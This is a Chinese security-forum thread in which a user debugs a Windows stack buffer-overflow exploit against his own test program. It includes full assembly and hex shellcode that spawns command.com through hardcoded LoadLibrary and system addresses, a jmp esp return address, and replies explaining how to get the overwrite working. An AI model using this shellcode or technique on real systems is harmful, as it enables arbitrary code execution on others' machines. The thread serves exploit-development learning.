[讨论]莫名其妙呀,我的shellcode为啥没反应
[讨论]莫名其妙呀,我的shellcode为啥没反应议题作者:xiao2004
信息来源:邪恶八进制信息安全团队([url=http://www.eviloctal.com/]www.eviloctal.com[/url])
这段asm在vc下执行是没问题的,可以弹个command框
__asm{
push ebp
mov ebp,esp
xor eax,eax
push eax
sub esp,08h
mov byte ptr [ebp-0ch],6dh;
mov byte ptr [ebp-0bh],73h;
mov byte ptr [ebp-0ah],76h;
mov byte ptr [ebp-09h],63h;
mov byte ptr [ebp-08h],72h;
mov byte ptr [ebp-07h],74h;
mov byte ptr [ebp-06h],2eh;
mov byte ptr [ebp-05h],64h;
mov byte ptr [ebp-04h],6ch;
mov byte ptr [ebp-03h],6ch;
lea eax,[ebp-0ch];
push eax;
mov eax,0x7c801d77;压入LoadLibrary的地址
call eax;
push ebp; 把ebp入栈, esp - 4
mov ebp,esp; 给ebp赋新值勤,作为局部变量的基指针
xor edi,edi;
push edi; 把0入栈, esp - 4
sub esp,08h; 加上上面一共有12字节,用来放command.com
mov byte ptr [ebp-0ch],63h ;
mov byte ptr [ebp-0bh],6fh ;
mov byte ptr [ebp-0ah],6dh ;
mov byte ptr [ebp-09h],6dh ;
mov byte ptr [ebp-08h],61h ;
mov byte ptr [ebp-07h],6eh ;
mov byte ptr [ebp-06h],64h ;
mov byte ptr [ebp-05h],2eh ;
mov byte ptr [ebp-04h],63h ;
mov byte ptr [ebp-03h],6fh ;
mov byte ptr [ebp-02h],6dh ;
lea eax,[ebp-0ch];
push eax;
mov eax,0x77bf93c7;压入system的地址
call eax;
}
然后我生成shellcode
"\x55\x8B\xEC\x33\xC0\x50\x83\xEC\x08\xC6\x45\xF4\x6D\xC6\x45\xF5\x73\xC6\x45\xF6\x76"
"\xC6\x45\xF7\x63\xC6\x45\xF8\x72\xC6\x45\xF9\x74\xC6\x45\xFA\x2E\xC6\x45\xFB\x64\xC6"
"\x45\xFC\x6C\xC6\x45\xFD\x6C\x8D\x45\xF4\x50\xB8\x77\x1D\x80\x7C\xFF\xD0\x55\x8B\xEC"
"\x33\xFF\x57\x83\xEC\x08\xC6\x45\xF4\x63\xC6\x45\xF5\x6F\xC6\x45\xF6\x6D\xC6\x45\xF7"
"\x6D\xC6\x45\xF8\x61\xC6\x45\xF9\x6E\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x63"
"\xC6\x45\xFD\x6F\xC6\x45\xFE\x6D\x8D\x45\xF4\x50\xB8\xC7\x93\xBF\x77\xFF\xD0";
再用asm直接调用也是没问题的.
但我实际用时,程序运行却没得反应了...
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x12\x45\xfa\x7f" //通用jmp esp地址
"\x55\x8B\xEC\x33\xC0\x50\x83\xEC\x08\xC6\x45\xF4\x6D\xC6\x45\xF5\x73\xC6\x45\xF6\x76"
"\xC6\x45\xF7\x63\xC6\x45\xF8\x72\xC6\x45\xF9\x74\xC6\x45\xFA\x2E\xC6\x45\xFB\x64\xC6"
"\x45\xFC\x6C\xC6\x45\xFD\x6C\x8D\x45\xF4\x50\xB8\x77\x1D\x80\x7C\xFF\xD0\x55\x8B\xEC"
"\x33\xFF\x57\x83\xEC\x08\xC6\x45\xF4\x63\xC6\x45\xF5\x6F\xC6\x45\xF6\x6D\xC6\x45\xF7"
"\x6D\xC6\x45\xF8\x61\xC6\x45\xF9\x6E\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x63"
"\xC6\x45\xFD\x6F\xC6\x45\xFE\x6D\x8D\x45\xF4\x50\xB8\xC7\x93\xBF\x77\xFF\xD0";
int main()
{
char buf[8];
strcpy(buf,shellcode);
return 0;
}
谁能告诉我这是啥问题呀.
帖子452 精华[url=http://forum.eviloctal.com/digest.php?authorid=2858]16[/url] 积分1740 阅读权限100 性别男 在线时间221 小时 注册时间2005-3-19 最后登录2008-7-18 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=2858]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=24961&repquote=130975&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=24961&pid=130975&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP [url=http://www.google.cn/search?q=风水&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]良辰择日,预测咨询,公司改名,权威易经[/url]
[url=http://forum.eviloctal.com/space-uid-6760.html]gyzy[/url] [img]http://forum.eviloctal.com/customavatars/6760.jpg[/img]
技术核心组
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level2.gif[/img] VC 7.0下编译,\GS选项关闭,导致溢出的代码如下:
004011AC . E8 4FFEFFFF CALL test.00401000
00401000 /$ 83EC 08 SUB ESP,8
00401003 |. 33C0 XOR EAX,EAX
00401005 |> 8A88 30704000 /MOV CL,BYTE PTR DS:[EAX+407030]
0040100B |. 880C04 |MOV BYTE PTR SS:[ESP+EAX],CL
0040100E |. 40 |INC EAX
0040100F |. 84C9 |TEST CL,CL
00401011 |.^ 75 F2 \JNZ SHORT test.00401005
00401013 |. 33C0 XOR EAX,EAX
00401015 |. 83C4 08 ADD ESP,8
00401018 \. C3 RETN
在Release模式下,返回地址被AAAA覆盖,原因:main函数调用Strcpy函数,指令指针入栈,然后分配八个字节,shellcode中应该覆盖8个\x41即可
[url=http://forum.eviloctal.com/javascript:;][img]http://forum.eviloctal.com/images/default/msnadd.gif[/img][/url] [url=http://forum.eviloctal.com/javascript:;][img]http://forum.eviloctal.com/images/default/msnchat.gif[/img][/url] [url=http://wpa.qq.com/msgrd?V=1&Uin=970929&Site=邪恶八进制信息安全团队技术讨论组&Menu=yes][img]http://forum.eviloctal.com/images/default/qq.gif[/img][/url]
帖子163 精华[url=http://forum.eviloctal.com/digest.php?authorid=6760]26[/url] 积分5252 阅读权限200 性别男 在线时间382 小时 注册时间2005-7-2 最后登录2008-7-9 [url=http://www.gyzy.org]查看个人网站[/url]
[url=http://forum.eviloctal.com/space.php?action=viewpro&uid=6760]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=24961&repquote=64450&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=24961&pid=64450&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP [url=http://www.google.cn/search?q=猎头&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]您知道您年薪应是多少?[/url]
[url=http://forum.eviloctal.com/space-uid-61754.html]魔君[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然 没有错,是应该在第14个字节处放JMP ESP,接着是shellcode
但是貌似在主函数里,分配8个字节的buf,在内存中离异常入口点比较近,因为你的shellcode太长,把异常入口也覆盖了,所以没有cmd,也没有错误提示了。
你可以把shellcode全填充为A,连41414141的错误也不会弹出,长度减少到比buf的8个字节多一点的时候才有提示。
所以,建议你测试的时候将buf和strcpy放在调用函数里,这样就不会出现这个问题。试试吧 [s:42]
帖子4 精华[url=http://forum.eviloctal.com/digest.php?authorid=61754]0[/url] 积分16 阅读权限40 性别男 在线时间2 小时 注册时间2006-8-17 最后登录2006-9-25 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=61754]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=24961&repquote=64474&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=24961&pid=64474&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP [url=http://www.google.cn/search?q=风水&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]良辰择日,预测咨询,公司改名,权威易经[/url]
[url=http://forum.eviloctal.com/space-uid-2858.html]xiao2004[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
荣誉会员
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img] 首先是覆盖8个A,再覆盖EBP
然后才是jmp esp
我感觉不出什么错误,但是我从网上找个shellcode,就能溢出,
不晓得那个asm哪写错了,但是可以执行,是不是用来生成shellcode时,写法不同呀..
帖子452 精华[url=http://forum.eviloctal.com/digest.php?authorid=2858]16[/url] 积分1740 阅读权限100 性别男 在线时间221 小时 注册时间2005-3-19 最后登录2008-7-18 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=2858]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=24961&repquote=64516&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=24961&pid=64516&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP
[url=http://forum.eviloctal.com/space-uid-6760.html]gyzy[/url] [img]http://forum.eviloctal.com/customavatars/6760.jpg[/img]
技术核心组
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level2.gif[/img] 不好意思,VC 7.0对代码优化了,你该也看到了,VC7编译出来的代码根本没有让EBP入栈,一般来说,函数的地址最好不要硬编码,你可以用DWORD PROC = GetProcAddress(GetModuleHandle("Kernel32"),"LoadLibraryA")确认一下地址,问题可能就出在这里
[url=http://forum.eviloctal.com/javascript:;][img]http://forum.eviloctal.com/images/default/msnadd.gif[/img][/url] [url=http://forum.eviloctal.com/javascript:;][img]http://forum.eviloctal.com/images/default/msnchat.gif[/img][/url] [url=http://wpa.qq.com/msgrd?V=1&Uin=970929&Site=邪恶八进制信息安全团队技术讨论组&Menu=yes][img]http://forum.eviloctal.com/images/default/qq.gif[/img][/url]
帖子163 精华[url=http://forum.eviloctal.com/digest.php?authorid=6760]26[/url] 积分5252 阅读权限200 性别男 在线时间382 小时 注册时间2005-7-2 最后登录2008-7-9 [url=http://www.gyzy.org]查看个人网站[/url]
[url=http://forum.eviloctal.com/space.php?action=viewpro&uid=6760]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=24961&repquote=64561&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=24961&pid=64561&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP [url=http://www.google.cn/search?q=DHC化妆品&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]让女孩一夜变的更有女人味[/url]
[url=http://forum.eviloctal.com/space-uid-2858.html]xiao2004[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
荣誉会员
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img] 问题绝不会出在这,因为我的shellcode能单独执行,只不能用于溢出,不知何意呀.
下面这个程序是可以的
#include <stdio.h>
char shellcode[]=
"\x55\x8B\xEC\x33\xC0\x50\x83\xEC\x08\xC6\x45\xF4\x6D\xC6\x45\xF5\x73\xC6\x45\xF6\x76"
"\xC6\x45\xF7\x63\xC6\x45\xF8\x72\xC6\x45\xF9\x74\xC6\x45\xFA\x2E\xC6\x45\xFB\x64\xC6"
"\x45\xFC\x6C\xC6\x45\xFD\x6C\x8D\x45\xF4\x50\xB8\x77\x1D\x80\x7C\xFF\xD0\x55\x8B\xEC"
"\x33\xFF\x57\x83\xEC\x08\xC6\x45\xF4\x63\xC6\x45\xF5\x6F\xC6\x45\xF6\x6D\xC6\x45\xF7"
"\x6D\xC6\x45\xF8\x61\xC6\x45\xF9\x6E\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x63"
"\xC6\x45\xFD\x6F\xC6\x45\xFE\x6D\x8D\x45\xF4\x50\xB8\xC7\x93\xBF\x77\xFF\xD0";
void main()
{
__asm{
lea eax,shellcode
call eax
}
}
帖子452 精华[url=http://forum.eviloctal.com/digest.php?authorid=2858]16[/url] 积分1740 阅读权限100 性别男 在线时间221 小时 注册时间2005-3-19 最后登录2008-7-18 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=2858]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=24961&repquote=64567&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=24961&pid=64567&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP [url=http://www.google.cn/search?q=风水&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]良辰择日,预测咨询,公司改名,权威易经[/url]
[url=http://forum.eviloctal.com/space-uid-36.html]sunlion[/url] [img]http://forum.eviloctal.com/images/avatars/pw/male1.gif[/img]
技术核心组
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level2.gif[/img] [url=http://forum.eviloctal.com/read-htm-tid-21986-fpage-7.html]http://forum.eviloctal.com/read-htm-tid-21986-fpage-7.html[/url]
你的问题可以参考一下这个贴垃圾一个,00...
帖子336 精华[url=http://forum.eviloctal.com/digest.php?authorid=36]28[/url] 积分4203 阅读权限200 性别男 在线时间428 小时 注册时间2004-7-22 最后登录2008-6-17 [url=http://sunlion.126.com/]查看个人网站[/url]
[url=http://forum.eviloctal.com/space.php?action=viewpro&uid=36]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=24961&repquote=64668&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=24961&pid=64668&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP [url=http://www.google.cn/search?q=DHC化妆品&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]让女孩一夜变的更有女人味[/url]
[url=http://forum.eviloctal.com/space-uid-15414.html]tlhelen[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然 以前那么狂热地爱着汇编,为什么现在连看一眼的兴趣都没有了呢?
帖子19 精华[url=http://forum.eviloctal.com/digest.php?authorid=15414]0[/url] 积分57 阅读权限40 在线时间51 小时 注册时间2005-10-18 最后登录2008-3-24 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=15414]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=24961&repquote=65134&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=24961&pid=65134&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP
[url=http://forum.eviloctal.com/space-uid-1656.html]goodopell[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然 回答问题的人还真不少 看来Q版黑客EXP没少卖啊
帖子29 精华[url=http://forum.eviloctal.com/digest.php?authorid=1656]0[/url] 积分75 阅读权限40 在线时间57 小时 注册时间2005-1-22 最后登录2008-1-5 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=1656]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=24961&repquote=65137&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=24961&pid=65137&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP
[url=http://forum.eviloctal.com/space-uid-2858.html]xiao2004[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
荣誉会员
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img] 不懂汇编,搞这个东西真费劲.....
弱弱的用OD调了一下,发现进入strcpy时,根本没用到push ebp
当然出strcpy时也用不到了,jmp esp,就失效了.
把strcpy调用放入到一个函数中单独调用,就搞定了.
如果是放在main中,还是用jmp ebx,比较有效.
帖子452 精华[url=http://forum.eviloctal.com/digest.php?authorid=2858]16[/url] 积分1740 阅读权限100 性别男 在线时间221 小时 注册时间2005-3-19 最后登录2008-7-18 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=2858]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=24961&repquote=65492&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=24961&pid=65492&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP
[url=http://forum.eviloctal.com/space-uid-2858.html]xiao2004[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
荣誉会员
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img] jmp ebx 用od不会计算当前shellcode与错误入口的距离,
装softice,麻烦了...
问题留下,楼下回.
帖子452 精华[url=http://forum.eviloctal.com/digest.php?authorid=2858]16[/url] 积分1740 阅读权限100 性别男 在线时间221 小时 注册时间2005-3-19 最后登录2008-7-18 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=2858]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=24961&repquote=65493&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=24961&pid=65493&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP
[url=http://forum.eviloctal.com/space-uid-2858.html]xiao2004[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
荣誉会员
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img]
页:
[1]